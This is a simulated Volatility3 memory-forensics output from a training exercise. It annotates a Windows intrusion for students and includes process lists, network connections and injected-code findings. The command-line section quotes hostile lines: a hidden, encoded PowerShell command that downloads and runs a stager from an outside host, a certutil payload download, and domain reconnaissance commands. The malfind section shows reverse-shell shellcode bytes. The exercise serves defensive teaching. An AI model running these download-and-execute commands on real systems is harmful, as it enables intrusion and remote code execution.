================================================================================
SIMULATED VOLATILITY3 OUTPUT -- FORENSIC TRAINING EXERCISE
Case: INTL-2025-0042 | Image: memory.raw (8 GB) | Profile: Win10x64_19041
Acquisition Time: 2025-07-15 04:32:18 UTC
SHA-256: a3c1f8e2d94b...7f2e (simulated)
================================================================================

================================================================================
Plugin: windows.pslist
================================================================================

PID	PPID	ImageFileName		CreateTime			Threads	Handles	SessionId
4	0	System			2025-07-14 08:15:02 UTC		187	-	-
124	4	Registry		2025-07-14 08:15:02 UTC		4	0	-
456	4	smss.exe		2025-07-14 08:15:05 UTC		2	29	-
568	456	csrss.exe		2025-07-14 08:15:07 UTC		14	587	0
624	456	csrss.exe		2025-07-14 08:15:07 UTC		14	525	1
652	568	wininit.exe		2025-07-14 08:15:08 UTC		1	78	0
680	624	winlogon.exe		2025-07-14 08:15:08 UTC		5	134	1
748	652	services.exe		2025-07-14 08:15:09 UTC		9	291	0
756	652	lsass.exe		2025-07-14 08:15:09 UTC		10	782	0
872	748	svchost.exe		2025-07-14 08:15:12 UTC		21	467	0
940	748	svchost.exe		2025-07-14 08:15:13 UTC		12	358	0
1024	748	svchost.exe		2025-07-14 08:15:14 UTC		18	294	0
1188	748	svchost.exe		2025-07-14 08:15:15 UTC		8	187	0
1304	748	svchost.exe		2025-07-14 08:15:16 UTC		6	112	0
1572	748	spoolsv.exe		2025-07-14 08:15:22 UTC		7	205	0
1940	748	MsMpEng.exe		2025-07-14 08:15:31 UTC		32	548	0
2104	680	userinit.exe		2025-07-14 09:02:44 UTC		0	0	1
2156	2104	explorer.exe		2025-07-14 09:02:45 UTC		48	1842	1
2480	2156	taskmgr.exe		2025-07-14 09:05:12 UTC		8	197	1
3012	748	svchost.exe		2025-07-14 09:10:33 UTC		4	88	0
3328	2156	chrome.exe		2025-07-14 09:12:01 UTC		25	452	1
3456	3328	chrome.exe		2025-07-14 09:12:02 UTC		8	189	1
3512	3328	chrome.exe		2025-07-14 09:12:03 UTC		8	167	1
>>> 4892	2156	powershell.exe		2025-07-15 02:47:33 UTC		15	412	1	<<< SUSPICIOUS: spawned by explorer.exe at 02:47 (off-hours)
>>> 5104	4892	cmd.exe			2025-07-15 02:48:01 UTC		2	64	1	<<< SUSPICIOUS: child of suspicious powershell
>>> 5280	5104	whoami.exe		2025-07-15 02:48:05 UTC		1	28	1	<<< RECON: attacker enumeration
>>> 5344	5104	net.exe			2025-07-15 02:48:12 UTC		1	31	1	<<< RECON: network enumeration
>>> 5520	5104	nltest.exe		2025-07-15 02:48:18 UTC		1	22	1	<<< RECON: domain trust enumeration
>>> 6112	748	svchost.exe		2025-07-15 02:51:44 UTC		3	97	0	<<< SUSPICIOUS: svchost spawned by services.exe but at anomalous time
>>> 6340	6112	rundll32.exe		2025-07-15 02:52:01 UTC		4	156	0	<<< SUSPICIOUS: child of anomalous svchost
>>> 6688	4892	powershell.exe		2025-07-15 03:15:22 UTC		12	387	1	<<< SUSPICIOUS: second powershell instance
>>> 7044	6688	certutil.exe		2025-07-15 03:22:08 UTC		2	45	1	<<< SUSPICIOUS: certutil used for download (LOLBin)

================================================================================
Plugin: windows.netscan
================================================================================

Offset		Proto	LocalAddr		LocalPort	ForeignAddr		ForeignPort	State		PID	Owner
0x7e8a1040	TCPv4	10.0.5.21		49667		52.165.42.17		443		ESTABLISHED	3328	chrome.exe
0x7e8a2180	TCPv4	10.0.5.21		49668		52.165.42.17		443		ESTABLISHED	3456	chrome.exe
0x7e8a3200	TCPv4	10.0.5.21		49712		172.217.14.99		443		ESTABLISHED	3328	chrome.exe
>>> 0x7e8b4380	TCPv4	10.0.5.21		49823		185.220.101.47		8443		ESTABLISHED	4892	powershell.exe	<<< C2 CONNECTION
>>> 0x7e8b5440	TCPv4	10.0.5.21		49891		185.220.101.47		443		ESTABLISHED	6340	rundll32.exe	<<< C2 CONNECTION
>>> 0x7e8b6500	TCPv4	10.0.5.21		49902		198.51.100.23		80		CLOSE_WAIT	7044	certutil.exe	<<< STAGING SERVER
0x7e8c7620	TCPv4	10.0.5.21		135		0.0.0.0			0		LISTENING	872	svchost.exe
0x7e8c8740	TCPv4	10.0.5.21		445		0.0.0.0			0		LISTENING	4	System
>>> 0x7e8c9860	TCPv4	10.0.5.21		4444		0.0.0.0			0		LISTENING	6112	svchost.exe	<<< SUSPICIOUS LISTENER (reverse shell port)
0x7e8ca980	TCPv4	10.0.5.21		49825		10.0.5.1		88		ESTABLISHED	756	lsass.exe
>>> 0x7e8cb0a0	UDPv4	10.0.5.21		53		*			*				6112	svchost.exe	<<< SUSPICIOUS: svchost bound to DNS port
>>> 0x7e8cc1b0	TCPv4	10.0.5.21		49950		10.0.5.50		445		ESTABLISHED	5104	cmd.exe		<<< LATERAL MOVEMENT to file server

================================================================================
Plugin: windows.cmdline
================================================================================

PID	Process			Cmdline
4	System			-
568	csrss.exe		%SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768
652	wininit.exe		wininit.exe
748	services.exe		C:\Windows\system32\services.exe
756	lsass.exe		C:\Windows\system32\lsass.exe
872	svchost.exe		C:\Windows\system32\svchost.exe -k DcomLaunch -p
940	svchost.exe		C:\Windows\system32\svchost.exe -k RPCSS -p
1024	svchost.exe		C:\Windows\system32\svchost.exe -k netsvcs -p
1940	MsMpEng.exe		"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25060.7\MsMpEng.exe"
2156	explorer.exe		C:\Windows\Explorer.EXE
3328	chrome.exe		"C:\Program Files\Google\Chrome\Application\chrome.exe"

>>> 4892	powershell.exe		powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwAxADgANQAuADIAMgAwAC4AMQAwADEALgA0ADcAOgA4ADQANAAzAC8AcwB0AGEAZwBlAHIAJwApAA==
    DECODED: IEX (New-Object Net.WebClient).DownloadString('https://185.220.101.47:8443/stager')

>>> 5280	whoami.exe		whoami /all
>>> 5344	net.exe			net group "Domain Admins" /domain
>>> 5520	nltest.exe		nltest /domain_trusts

>>> 6112	svchost.exe		C:\Windows\Temp\svc_update.exe -k netsvcs
    NOTE: Masquerading as svchost.exe but running from %TEMP% -- MALICIOUS

>>> 6340	rundll32.exe		rundll32.exe C:\Windows\Temp\update.dll,DllMain
    NOTE: Loading unsigned DLL from %TEMP%

>>> 6688	powershell.exe		powershell.exe -nop -enc JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAJwApACkA
    DECODED: $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String('H4sIAAAAAAAAA'))
    NOTE: In-memory decompression of payload -- fileless malware technique

>>> 7044	certutil.exe		certutil.exe -urlcache -split -f http://198.51.100.23/payload.b64 C:\Windows\Temp\payload.b64
    NOTE: LOLBin abuse -- certutil used to download additional payload

================================================================================
Plugin: windows.malfind
================================================================================

PID	Process			Start		End		Tag	Protection	Hexdump / Disassembly
------	-----------		----------	----------	---	----------	---------------------

>>> 6112	svchost.exe		0x2a40000	0x2a42fff	VadS	PAGE_EXECUTE_READWRITE

  0x2a40000:  4d 5a 90 00 03 00 00 00  04 00 00 00 ff ff 00 00   MZ..............
  0x2a40010:  b8 00 00 00 00 00 00 00  40 00 00 00 00 00 00 00   ........@.......
  0x2a40020:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
  0x2a40030:  00 00 00 00 00 00 00 00  00 00 00 00 e8 00 00 00   ................

  MZ header detected in private memory region -- INJECTED PE
  Protection: PAGE_EXECUTE_READWRITE -- suspicious, legitimate code rarely needs RWX

>>> 2156	explorer.exe		0x7ff40000	0x7ff42fff	VadS	PAGE_EXECUTE_READWRITE

  0x7ff40000:  fc 48 83 e4 f0 e8 c8 00  00 00 41 51 41 50 52 51   .H........AQAPRQ
  0x7ff40010:  56 48 31 d2 65 48 8b 52  60 48 8b 52 18 48 8b 52   VH1.eH.R`H.R.H.R
  0x7ff40020:  20 48 8b 72 50 48 0f b7  4a 4a 4d 31 c9 48 31 c0    H.rPH..JJM1.H1.
  0x7ff40030:  ac 3c 61 7c 02 2c 20 41  c1 c9 0d 41 01 c1 e2 ed   .<a|., A...A....

  Metasploit shellcode signature detected (x64 reverse_tcp stager)
  Protection: PAGE_EXECUTE_READWRITE -- code injected into explorer.exe

>>> 6340	rundll32.exe		0x1b20000	0x1b24fff	VadS	PAGE_EXECUTE_READWRITE

  0x1b20000:  4d 5a 90 00 03 00 00 00  04 00 00 00 ff ff 00 00   MZ..............
  0x1b20010:  b8 00 00 00 00 00 00 00  40 00 00 00 00 00 00 00   ........@.......
  0x1b20020:  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
  0x1b20030:  00 00 00 00 00 00 00 00  00 00 00 00 f0 00 00 00   ................

  MZ header in RWX region -- reflectively loaded DLL
  Export: DllMain -> starts C2 beacon thread
  Protection: PAGE_EXECUTE_READWRITE

================================================================================
Plugin: windows.dlllist (PID 6112 -- suspicious svchost.exe)
================================================================================

PID	Process			Base		Size	Name				Path
6112	svchost.exe		0x7ff6a0000	0x18000	svc_update.exe			C:\Windows\Temp\svc_update.exe
6112	svchost.exe		0x7ffa1b000	0x1f8000	ntdll.dll			C:\Windows\SYSTEM32\ntdll.dll
6112	svchost.exe		0x7ffa05000	0xba000	KERNEL32.DLL			C:\Windows\System32\KERNEL32.DLL
6112	svchost.exe		0x7ff9e8000	0x2f5000	KERNELBASE.dll			C:\Windows\System32\KERNELBASE.dll
>>> 6112	svchost.exe		0x7ff98a000	0x52000	beacon.dll			C:\Windows\Temp\beacon.dll		<<< UNSIGNED, C2 IMPLANT
>>> 6112	svchost.exe		0x7ff960000	0x28000	inject_helper.dll		C:\Windows\Temp\inject_helper.dll	<<< UNSIGNED, INJECTION TOOL
6112	svchost.exe		0x7ff9f1000	0x9f000	msvcrt.dll			C:\Windows\System32\msvcrt.dll
6112	svchost.exe		0x7ffa10000	0xa4000	WS2_32.dll			C:\Windows\System32\WS2_32.dll
6112	svchost.exe		0x7ff9d2000	0x12000	WINHTTP.dll			C:\Windows\System32\WINHTTP.dll

================================================================================
Plugin: windows.dlllist (PID 6340 -- suspicious rundll32.exe)
================================================================================

PID	Process			Base		Size	Name				Path
6340	rundll32.exe		0x7ff7c0000	0x14000	rundll32.exe			C:\Windows\System32\rundll32.exe
6340	rundll32.exe		0x7ffa1b000	0x1f8000	ntdll.dll			C:\Windows\SYSTEM32\ntdll.dll
6340	rundll32.exe		0x7ffa05000	0xba000	KERNEL32.DLL			C:\Windows\System32\KERNEL32.DLL
>>> 6340	rundll32.exe		0x7ff92b000	0x3a000	update.dll			C:\Windows\Temp\update.dll		<<< UNSIGNED, LOADED VIA CMDLINE
6340	rundll32.exe		0x7ff9f1000	0x9f000	msvcrt.dll			C:\Windows\System32\msvcrt.dll
6340	rundll32.exe		0x7ffa10000	0xa4000	WS2_32.dll			C:\Windows\System32\WS2_32.dll

================================================================================
END OF SIMULATED VOLATILITY OUTPUT
================================================================================

ANALYSIS NOTES (for student reference):
- PID 4892 (powershell.exe): Initial access vector. Spawned by explorer.exe at 02:47 UTC
  with encoded command downloading stager from 185.220.101.47:8443.
- PID 6112 (svc_update.exe masquerading as svchost.exe): Persistence mechanism running
  from C:\Windows\Temp. Loads beacon.dll and inject_helper.dll (both unsigned).
  Listening on port 4444 (reverse shell) and bound to UDP 53 (DNS tunneling).
- PID 6340 (rundll32.exe): Secondary implant loading update.dll from Temp directory.
- PID 6688 (powershell.exe): Fileless second-stage using in-memory decompression.
- PID 7044 (certutil.exe): LOLBin abuse downloading additional payload.
- Explorer.exe (PID 2156) contains injected Metasploit shellcode (malfind).
- Lateral movement observed: cmd.exe connecting to 10.0.5.50:445 (file server).
- C2 infrastructure: 185.220.101.47 (ports 8443, 443) and 198.51.100.23 (port 80).
